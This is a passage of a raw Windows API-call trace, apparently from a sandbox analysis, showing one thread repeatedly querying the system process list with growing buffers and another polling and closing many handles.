(in: SystemInformationClass=0x5, SystemInformation=0x43034090, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x43034090, ResultLength=0x0) returned 0xc0000004 [0195.893] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43034090, Size=0x306c) returned 0x42ef4090 [0195.893] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42ef4090, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x42ef4090, ResultLength=0x0) returned 0xc0000004 [0195.893] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42ef4090, Size=0x4090) returned 0x43074060 [0195.894] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.894] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x50b4) returned 0x43074060 [0195.894] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.895] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x60d8) returned 0x43074060 [0195.895] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.895] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x70fc) returned 0x43074060 [0195.896] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.896] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x8120) returned 0x43074060 [0195.896] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.897] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x9144) returned 0x43074060 [0195.897] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.897] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xa168) returned 0x43074060 [0195.897] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.898] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xb18c) returned 0x43074060 [0195.898] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.898] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xc1b0) returned 0x43074060 [0195.899] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.899] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xd1d4) returned 0x43074060 [0195.899] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.900] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xe1f8) returned 0x43074060 [0195.900] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.900] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xf21c) returned 0x43074060 [0195.901] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.901] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x10240) returned 0x43074060 [0195.901] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.902] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x11264) returned 0x43074060 [0195.902] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.903] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x12288) returned 0x43074060 [0195.903] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.903] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x132ac) returned 0x43074060 [0195.904] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0195.904] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x142d0) returned 0x43074060 Thread: id = 83 os_tid = 0xb4c Thread: id = 84 os_tid = 0x78c [0085.488] WaitForSingleObject (hHandle=0x418, dwMilliseconds=0x0) returned 0x102 [0085.488] WaitForSingleObject (hHandle=0x414, dwMilliseconds=0x0) returned 0x102 [0085.499] Sleep (dwMilliseconds=0x1) [0085.509] WaitForSingleObject (hHandle=0x418, dwMilliseconds=0x0) returned 0x102 [0085.509] WaitForSingleObject (hHandle=0x414, dwMilliseconds=0x0) returned 0x102 [0085.509] Sleep (dwMilliseconds=0x1) [0085.526] WaitForSingleObject (hHandle=0x418, dwMilliseconds=0x0) returned 0x0 [0085.526] CloseHandle (hObject=0x418) returned 1 [0085.526] WaitForSingleObject (hHandle=0x414, dwMilliseconds=0x0) returned 0x102 [0085.526] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102 [0085.526] WaitForSingleObject (hHandle=0x404, dwMilliseconds=0x0) returned 0x102 [0085.526] WaitForSingleObject (hHandle=0x408, dwMilliseconds=0x0) returned 0x102 [0085.526] WaitForSingleObject (hHandle=0x3dc, dwMilliseconds=0x0) returned 0x102 [0085.526] WaitForSingleObject (hHandle=0x494, dwMilliseconds=0x0) returned 0x102 [0085.526] WaitForSingleObject (hHandle=0x498, dwMilliseconds=0x0) returned 0x102 [0085.526] WaitForSingleObject (hHandle=0x49c, dwMilliseconds=0x0) returned 0x102 [0085.526] WaitForSingleObject (hHandle=0x4a0, dwMilliseconds=0x0) returned 0x102 [0085.526] Sleep (dwMilliseconds=0x1) [0085.536] WaitForSingleObject (hHandle=0x448, dwMilliseconds=0x0) returned 0x102 [0085.536] WaitForSingleObject (hHandle=0x414, dwMilliseconds=0x0) returned 0x0 [0085.536] CloseHandle (hObject=0x414) returned 1 [0085.536] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x0 [0085.536] CloseHandle (hObject=0x3fc) returned 1 [0085.536] WaitForSingleObject (hHandle=0x404, dwMilliseconds=0x0) returned 0x0 [0085.536] CloseHandle (hObject=0x404) returned 1 [0085.536] WaitForSingleObject (hHandle=0x408, dwMilliseconds=0x0) returned 0x0 [0085.536] CloseHandle (hObject=0x408) returned 1 [0085.536] WaitForSingleObject (hHandle=0x3dc, dwMilliseconds=0x0) returned 0x102 [0085.537] WaitForSingleObject (hHandle=0x494, dwMilliseconds=0x0) returned 0x102 [0085.537] WaitForSingleObject (hHandle=0x498, dwMilliseconds=0x0) returned 0x102 [0085.537] WaitForSingleObject (hHandle=0x49c, dwMilliseconds=0x0) returned 0x102 [0085.537] WaitForSingleObject (hHandle=0x4a0, dwMilliseconds=0x0) returned 0x102 [0085.537] Sleep (dwMilliseconds=0x1) [0085.553] WaitForSingleObject (hHandle=0x448, dwMilliseconds=0x0) returned 0x102 [0085.553] WaitForSingleObject (hHandle=0x404, dwMilliseconds=0x0) returned 0x102 [0085.553] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102 [0085.553] WaitForSingleObject (hHandle=0x414, dwMilliseconds=0x0) returned 0x102 [0085.553] WaitForSingleObject (hHandle=0x418, dwMilliseconds=0x0) returned 0x102 [0085.553] WaitForSingleObject (hHandle=0x3dc, dwMilliseconds=0x0) returned 0x0 [0085.553] CloseHandle (hObject=0x3dc) returned 1 [0085.553] WaitForSingleObject (hHandle=0x494, dwMilliseconds=0x0) returned 0x102 [0085.553] WaitForSingleObject (hHandle=0x498, dwMilliseconds=0x0) returned 0x102 [0085.553] WaitForSingleObject (hHandle=0x49c, dwMilliseconds=0x0) returned 0x102 [0085.553] WaitForSingleObject (hHandle=0x4a0, dwMilliseconds=0x0) returned 0x102 [0085.553] WaitForSingleObject (hHandle=0x4a4, dwMilliseconds=0x0) returned 0x102 [0085.554] WaitForSingleObject (hHandle=0x4a8, dwMilliseconds=0x0) returned 0x102 [0085.554] WaitForSingleObject (hHandle=0x4ac, dwMilliseconds=0x0) returned 0x102 [0085.554] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0x0) returned 0x102 [0085.554] WaitForSingleObject (hHandle=0x4b4, dwMilliseconds=0x0) returned 0x102 [0085.554] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0x0) returned 0x102 [0085.554] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0x0) returned 0x102 [0085.554] Sleep (dwMilliseconds=0x1) [0085.571] WaitForSingleObject (hHandle=0x448, dwMilliseconds=0x0) returned 0x102 [0085.571] WaitForSingleObject (hHandle=0x404, dwMilliseconds=0x0) returned 0x102 [0085.571] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102 [0085.572] WaitForSingleObject (hHandle=0x414, dwMilliseconds=0x0) returned 0x102 [0085.572] WaitForSingleObject (hHandle=0x418, dwMilliseconds=0x0) returned 0x102 [0085.572] WaitForSingleObject (hHandle=0x408, dwMilliseconds=0x0) returned 0x102 [0085.572] WaitForSingleObject (hHandle=0x494, dwMilliseconds=0x0) returned 0x0 [0085.572] CloseHandle (hObject=0x494) returned 1 [0085.572] WaitForSingleObject (hHandle=0x498, dwMilliseconds=0x0) returned 0x102 [0085.572] WaitForSingleObject (hHandle=0x49c, dwMilliseconds=0x0) returned 0x102 [0085.572] WaitForSingleObject (hHandle=0x4a0, dwMilliseconds=0x0) returned 0x102 [0085.572] WaitForSingleObject (hHandle=0x4a4, dwMilliseconds=0x0) returned 0x102 [0085.572] WaitForSingleObject (hHandle=0x4a8, dwMilliseconds=0x0) returned 0x102 [0085.572] WaitForSingleObject (hHandle=0x4ac, dwMilliseconds=0x0) returned 0x102 [0085.572] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0x0) returned 0x102 [0085.572] WaitForSingleObject (hHandle=0x4b4, dwMilliseconds=0x0) returned 0x102 [0085.573] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0x0) returned 0x102 [0085.573] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0x0) returned 0x102 [0085.573] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0x0) returned 0x102 [0085.573] WaitForSingleObject (hHandle=0x4c4, dwMilliseconds=0x0) returned 0x102 [0085.573] WaitForSingleObject (hHandle=0x4c8, dwMilliseconds=0x0) returned 0x102 [0085.573] WaitForSingleObject (hHandle=0x4cc, dwMilliseconds=0x0) returned 0x102 [0085.573] WaitForSingleObject (hHandle=0x4d0, dwMilliseconds=0x0) returned 0x102 [0085.573] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102 [0085.573] WaitForSingleObject (hHandle=0x4d8, dwMilliseconds=0x0) returned 0x102 [0085.573] WaitForSingleObject (hHandle=0x4dc, dwMilliseconds=0x0) returned 0x102 [0085.573] WaitForSingleObject (hHandle=0x4e0, dwMilliseconds=0x0) returned 0x102 [0085.573] WaitForSingleObject (hHandle=0x4e4, dwMilliseconds=0x0) returned 0x102 [0085.573] WaitForSingleObject (hHandle=0x4e8, dwMilliseconds=0x0) returned 0x102 [0085.573] Sleep (dwMilliseconds=0x1) [0085.595] WaitForSingleObject (hHandle=0x448, dwMilliseconds=0x0) returned 0x102 [0085.595] WaitForSingleObject (hHandle=0x404, dwMilliseconds=0x0) returned 0x102 [0085.595] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102 [0085.595] WaitForSingleObject (hHandle=0x414, dwMilliseconds=0x0) returned 0x102 [0085.595] WaitForSingleObject (hHandle=0x418, dwMilliseconds=0x0) returned 0x102 [0085.596] WaitForSingleObject (hHandle=0x408, dwMilliseconds=0x0) returned 0x102 [0085.596] WaitForSingleObject (hHandle=0x3dc, dwMilliseconds=0x0) returned 0x102 [0085.596] WaitForSingleObject (hHandle=0x498, dwMilliseconds=0x0) returned 0x0 [0085.596] CloseHandle (hObject=0x498) returned 1 [0085.596] WaitForSingleObject (hHandle=0x49c, dwMilliseconds=0x0) returned 0x102 [0085.596] WaitForSingleObject (hHandle=0x4a0, dwMilliseconds=0x0) returned 0x102 [0085.596] WaitForSingleObject (hHandle=0x4a4, dwMilliseconds=0x0) returned 0x102 [0085.596] WaitForSingleObject (hHandle=0x4a8, dwMilliseconds=0x0) returned 0x102 [0085.596] WaitForSingleObject (hHandle=0x4ac, dwMilliseconds=0x0) returned 0x102 [0085.596] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0x0) returned 0x102 [0085.596] WaitForSingleObject (hHandle=0x4b4, dwMilliseconds=0x0) returned 0x102 [0085.596] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0x0) returned 0x102 [0085.596] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0x0) returned 0x102 [0085.596] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0x0) returned 0x102 [0085.596] WaitForSingleObject (hHandle=0x4c4, dwMilliseconds=0x0) returned 0x102 [0085.596] WaitForSingleObject (hHandle=0x4c8, dwMilliseconds=0x0) returned 0x102 [0085.597] WaitForSingleObject (hHandle=0x4cc, dwMilliseconds=0x0) returned 0x102 [0085.597] WaitForSingleObject (hHandle=0x4d0, dwMilliseconds=0x0) returned 0x102 [0085.597] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102 [0085.597] WaitForSingleObject (hHandle=0x4d8, dwMilliseconds=0x0) returned 0x102 [0085.597] WaitForSingleObject (hHandle=0x4dc, dwMilliseconds=0x0) returned 0x102 [0085.597] WaitForSingleObject (hHandle=0x4e0, dwMilliseconds=0x0) returned 0x102 [0085.597] WaitForSingleObject (hHandle=0x4e4, dwMilliseconds=0x0) returned 0x102 [0085.597] WaitForSingleObject (hHandle=0x4e8, dwMilliseconds=0x0) returned 0x102 [0085.597] WaitForSingleObject (hHandle=0x4ec, dwMilliseconds=0x0) returned 0x102 [0085.597] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0x0) returned 0x102 [0085.597] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0x0) returned 0x102 [0085.597] WaitForSingleObject (hHandle=0x4f8, dwMilliseconds=0x0) returned 0x102 [0085.597] WaitForSingleObject (hHandle=0x4fc, dwMilliseconds=0x0) returned 0x102 [0085.597] WaitForSingleObject (hHandle=0x500, dwMilliseconds=0x0) returned 0x102 [0085.597] WaitForSingleObject (hHandle=0x504, dwMilliseconds=0x0) returned 0x102 [0085.598] WaitForSingleObject (hHandle=0x508, dwMilliseconds=0x0) returned 0x102 [0085.598] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0x0) returned 0x102 [0085.598] WaitForSingleObject (hHandle=0x510, dwMilliseconds=0x0) returned 0x102 [0085.598] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0x0) returned 0x102 [0085.598] Sleep (dwMilliseconds=0x1) [0085.616] WaitForSingleObject (hHandle=0x448, dwMilliseconds=0x0) returned 0x0 [0085.616] CloseHandle (hObject=0x448) returned 1 [0085.616] WaitForSingleObject (hHandle=0x404, dwMilliseconds=0x0) returned 0x102 [0085.616] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102 [0085.616] WaitForSingleObject (hHandle=0x414, dwMilliseconds=0x0) returned 0x102 [0085.616] WaitForSingleObject (hHandle=0x418, dwMilliseconds=0x0) returned 0x102 [0085.616] WaitForSingleObject (hHandle=0x408, dwMilliseconds=0x0) returned 0x102 [0085.616] WaitForSingleObject (hHandle=0x3dc, dwMilliseconds=0x0) returned 0x102 [0085.616] WaitForSingleObject (hHandle=0x494, dwMilliseconds=0x0) returned 0x102 [0085.616] WaitForSingleObject (hHandle=0x49c, dwMilliseconds=0x0) returned 0x0 [0085.616] CloseHandle (hObject=0x49c) returned 1 [0085.616] WaitForSingleObject (hHandle=0x4a0, dwMilliseconds=0x0) returned 0x0 [0085.616] CloseHandle (hObject=0x4a0) returned 1 [0085.616] WaitForSingleObject (hHandle=0x4a4, dwMilliseconds=0x0) returned 0x102 [0085.617] WaitForSingleObject (hHandle=0x4a8, dwMilliseconds=0x0) returned 0x102 [0085.617] WaitForSingleObject (hHandle=0x4ac, dwMilliseconds=0x0) returned 0x102 [0085.617] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0x0) returned 0x102 [0085.617] WaitForSingleObject (hHandle=0x4b4, dwMilliseconds=0x0) returned 0x102 [0085.617] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0x0) returned 0x102 [0085.617] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0x0) returned 0x102 [0085.617] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0x0) returned 0x102 [0085.617] WaitForSingleObject (hHandle=0x4c4, dwMilliseconds=0x0) returned 0x102 [0085.617] WaitForSingleObject (hHandle=0x4c8, dwMilliseconds=0x0) returned 0x102 [0085.617] WaitForSingleObject (hHandle=0x4cc, dwMilliseconds=0x0) returned 0x102 [0085.617] WaitForSingleObject (hHandle=0x4d0, dwMilliseconds=0x0) returned 0x102 [0085.617] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102 [0085.617] WaitForSingleObject (hHandle=0x4d8, dwMilliseconds=0x0) returned 0x102 [0085.617] WaitForSingleObject (hHandle=0x4dc, dwMilliseconds=0x0) returned 0x102 [0085.617] WaitForSingleObject (hHandle=0x4e0, dwMilliseconds=0x0) returned 0x102 [0085.617] WaitForSingleObject (hHandle=0x4e4, dwMilliseconds=0x0) returned 0x102 [0085.617] WaitForSingleObject (hHandle=0x4e8, dwMilliseconds=0x0) returned 0x102 [0085.617] WaitForSingleObject (hHandle=0x4ec, dwMilliseconds=0x0) returned 0x102 [0085.618] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0x0) returned 0x102 [0085.618] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0x0) returned 0x102 [0085.618] WaitForSingleObject (hHandle=0x4f8, dwMilliseconds=0x0) returned 0x102 [0085.618] WaitForSingleObject (hHandle=0x4fc, dwMilliseconds=0x0) returned 0x102 [0085.618] WaitForSingleObject (hHandle=0x500, dwMilliseconds=0x0) returned 0x102 [0085.618] WaitForSingleObject (hHandle=0x504, dwMilliseconds=0x0) returned 0x102 [0085.618] WaitForSingleObject (hHandle=0x508, dwMilliseconds=0x0) returned 0x102 [0085.618] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0x0) returned 0x102 [0085.618] WaitForSingleObject (hHandle=0x510, dwMilliseconds=0x0) returned 0x102 [0085.618] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0x0) returned 0x102 [0085.618] WaitForSingleObject (hHandle=0x518, dwMilliseconds=0x0) returned 0x102 [0085.618] WaitForSingleObject (hHandle=0x51c, dwMilliseconds=0x0) returned 0x102 [0085.618] WaitForSingleObject (hHandle=0x520, dwMilliseconds=0x0) returned 0x102 [0085.618] WaitForSingleObject (hHandle=0x524, dwMilliseconds=0x0) returned 0x102 [0085.618] WaitForSingleObject (hHandle=0x528, dwMilliseconds=0x0) returned 0x102 [0085.618] Sleep (dwMilliseconds=0x1) [0085.628] WaitForSingleObject (hHandle=0x49c, dwMilliseconds=0x0) returned 0x102 [0085.628] WaitForSingleObject (hHandle=0x404, dwMilliseconds=0x0) returned 0x0 [0085.628] CloseHandle (hObject=0x404) returned 1 [0085.628] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x0 [0085.629] CloseHandle (hObject=0x3fc) returned 1 [0085.629] WaitForSingleObject (hHandle=0x414, dwMilliseconds=0x0) returned 0x102 [0085.629] WaitForSingleObject (hHandle=0x418, dwMilliseconds=0x0) returned 0x102 [0085.629] WaitForSingleObject (hHandle=0x408, dwMilliseconds=0x0) returned 0x102 [0085.629] WaitForSingleObject (hHandle=0x3dc, dwMilliseconds=0x0) returned 0x102 [0085.629] WaitForSingleObject (hHandle=0x494, dwMilliseconds=0x0) returned 0x102 [0085.629] WaitForSingleObject (hHandle=0x448, dwMilliseconds=0x0) returned 0x102 [0085.629] WaitForSingleObject (hHandle=0x498, dwMilliseconds=0x0) returned 0x102 [0085.629] WaitForSingleObject (hHandle=0x4a4, dwMilliseconds=0x0) returned 0x102 [0085.629] WaitForSingleObject (hHandle=0x4a8, dwMilliseconds=0x0) returned 0x102 [0085.629] WaitForSingleObject (hHandle=0x4ac, dwMilliseconds=0x0) returned 0x102 [0085.630] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0x0) returned 0x102 [0085.630] WaitForSingleObject (hHandle=0x4b4, dwMilliseconds=0x0) returned 0x102 [0085.630] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0x0) returned 0x102 [0085.630] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0x0) returned 0x102 [0085.630] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0x0) returned 0x102 [0085.630] WaitForSingleObject (hHandle=0x4c4, dwMilliseconds=0x0) returned 0x102 [0085.630] WaitForSingleObject (hHandle=0x4c8, dwMilliseconds=0x0) returned 0x102 [0085.630] WaitForSingleObject (hHandle=0x4cc, dwMilliseconds=0x0) returned 0x102 [0085.630] WaitForSingleObject (hHandle=0x4d0, dwMilliseconds=0x0) returned 0x102 [0085.630] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102 [0085.630] WaitForSingleObject (hHandle=0x4d8, dwMilliseconds=0x0) returned 0x102 [0085.630] WaitForSingleObject (hHandle=0x4dc, dwMilliseconds=0x0) returned 0x102 [0085.630] WaitForSingleObject (hHandle=0x4e0, dwMilliseconds=0x0) returned 0x102 [0085.630] WaitForSingleObject (hHandle=0x4e4, dwMilliseconds=0x0) returned 0x102 [0085.630] WaitForSingleObject (hHandle=0x4e8, dwMilliseconds=0x0) returned 0x102 [0085.631] WaitForSingleObject (hHandle=0x4ec, dwMilliseconds=0x0) returned 0x102 [0085.631] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0x0) returned 0x102 [0085.631] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0x0) returned 0x102 [0085.631] WaitForSingleObject (hHandle=0x4f8, dwMilliseconds=0x0) returned 0x102 [0085.631] WaitForSingleObject (hHandle=0x4fc, dwMilliseconds=0x0) returned 0x102 [0085.631] WaitForSingleObject (hHandle=0x500, dwMilliseconds=0x0) returned 0x102 [0085.631] WaitForSingleObject (hHandle=0x504, dwMilliseconds=0x0) returned 0x102 [0085.631] WaitForSingleObject (hHandle=0x508, dwMilliseconds=0x0) returned 0x102 [0085.631] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0x0) returned 0x102 [0085.631] WaitForSingleObject (hHandle=0x510, dwMilliseconds=0x0) returned 0x102 [0085.631] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0x0) returned 0x102 [0085.631] WaitForSingleObject (hHandle=0x518, dwMilliseconds=0x0) returned 0x102 [0085.631] WaitForSingleObject (hHandle=0x51c, dwMilliseconds=0x0) returned 0x102 [0085.631] WaitForSingleObject (hHandle=0x520, dwMilliseconds=0x0) returned 0x102 [0085.631] WaitForSingleObject (hHandle=0x524, dwMilliseconds=0x0) returned 0x102 [0085.631] WaitForSingleObject (hHandle=0x528, dwMilliseconds=0x0) returned 0x102 [0085.631] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0x0) returned 0x102 [0085.632] Sleep (dwMilliseconds=0x1) [0085.647] WaitForSingleObject (hHandle=0x49c, dwMilliseconds=0x0) returned 0x102 [0085.647] WaitForSingleObject (hHandle=0x404, dwMilliseconds=0x0) returned 0x102 [0085.647] WaitForSingleObject (hHandle=0x4a0, dwMilliseconds=0x0) returned 0x102 [0085.647] WaitForSingleObject (hHandle=0x414, dwMilliseconds=0x0) returned 0x0 [0085.648] CloseHandle (hObject=0x414) returned 1 [0085.648] WaitForSingleObject (hHandle=0x418, dwMilliseconds=0x0) returned 0x0 [0085.648] CloseHandle (hObject=0x418) returned 1 [0085.648] WaitForSingleObject (hHandle=0x408, dwMilliseconds=0x0) returned 0x102 [0085.648] WaitForSingleObject (hHandle=0x3dc, dwMilliseconds=0x0) returned 0x102 [0085.648] WaitForSingleObject (hHandle=0x494, dwMilliseconds=0x0) returned 0x102 [0085.648] WaitForSingleObject (hHandle=0x448, dwMilliseconds=0x0) returned 0x102 [0085.648] WaitForSingleObject (hHandle=0x498, dwMilliseconds=0x0) returned 0x102 [0085.648] WaitForSingleObject (hHandle=0x4a4, dwMilliseconds=0x0) returned 0x102 [0085.648] WaitForSingleObject (hHandle=0x4a8, dwMilliseconds=0x0) returned 0x102 [0085.648] WaitForSingleObject (hHandle=0x4ac, dwMilliseconds=0x0) returned 0x102 [0085.648] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0x0) returned 0x102 [0085.648] WaitForSingleObject (hHandle=0x4b4, dwMilliseconds=0x0) returned 0x102 [0085.648] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0x0) returned 0x102 [0085.648] WaitForSingleObject (hHandle=0x4bc, dwMilliseconds=0x0) returned 0x102 [0085.648] WaitForSingleObject (hHandle=0x4c0, dwMilliseconds=0x0) returned 0x102 [0085.649] WaitForSingleObject (hHandle=0x4c4, dwMilliseconds=0x0) returned 0x102 [0085.649] WaitForSingleObject (hHandle=0x4c8, dwMilliseconds=0x0) returned 0x102 [0085.649] WaitForSingleObject (hHandle=0x4cc, dwMilliseconds=0x0) returned 0x102 [0085.649] WaitForSingleObject (hHandle=0x4d0, dwMilliseconds=0x0) returned 0x102 [0085.649] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102 [0085.649] WaitForSingleObject (hHandle=0x4d8, dwMilliseconds=0x0) returned 0x102 [0085.649] WaitForSingleObject (hHandle=0x4dc, dwMilliseconds=0x0) returned 0x102 [0085.649] WaitForSingleObject (hHandle=0x4e0, dwMilliseconds=0x0) returned 0x102 [0085.649] WaitForSingleObject (hHandle=0x4e4, dwMilliseconds=0x0) returned 0x102 [0085.649] WaitForSingleObject (hHandle=0x4e8, dwMilliseconds=0x0) returned 0x102 [0085.649] WaitForSingleObject (hHandle=0x4ec, dwMilliseconds=0x0) returned 0x102 [0085.649] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0x0) returned 0x102 [0085.649] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0x0) returned 0x102 [0085.649] WaitForSingleObject (hHandle=0x4f8, dwMilliseconds=0x0) returned 0x102 [0085.649] WaitForSingleObject (hHandle=0x4fc, dwMilliseconds=0x0) returned 0x102 [0085.649] WaitForSingleObject (hHandle=0x500, dwMilliseconds=0x0) returned 0x102 [0085.649] WaitForSingleObject (hHandle=0x504, dwMilliseconds=0x0) returned 0x102 [0085.649] WaitForSingleObject (hHandle=0x508, dwMilliseconds=0x0) returned 0x102 [0085.650] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0x0) returned 0x102 [0085.650] WaitForSingleObject (hHandle=0x510, dwMilliseconds=0x0) returned 0x102 [0085.650] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0x0) returned 0x102 [0085.650] WaitForSingleObject (hHandle=0x518, dwMilliseconds=0x0) returned 0x102 [0085.650] WaitForSingleObject (hHandle=0x51c, dwMilliseconds=0x0) returned 0x102 [0085.650] WaitForSingleObject (hHandle=0x520, dwMilliseconds=0x0) returned 0x102 [0085.650] WaitForSingleObject (hHandle=0x524, dwMilliseconds=0x0) returned 0x102 [0085.650] WaitForSingleObject (hHandle=0x528, dwMilliseconds=0x0) returned 0x102 [0085.650] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0x0) returned 0x102 [0085.650] WaitForSingleObject (hHandle=0x530, dwMilliseconds=0x0) returned 0x102 [0085.650] WaitForSingleObject (hHandle=0x534, dwMilliseconds=0x0) returned 0x102 [0085.650] WaitForSingleObject (hHandle=0x538, dwMilliseconds=0x0) returned 0x102 [0085.650] WaitForSingleObject (hHandle=0x53c, dwMilliseconds=0x0) returned 0x102 [0085.650] 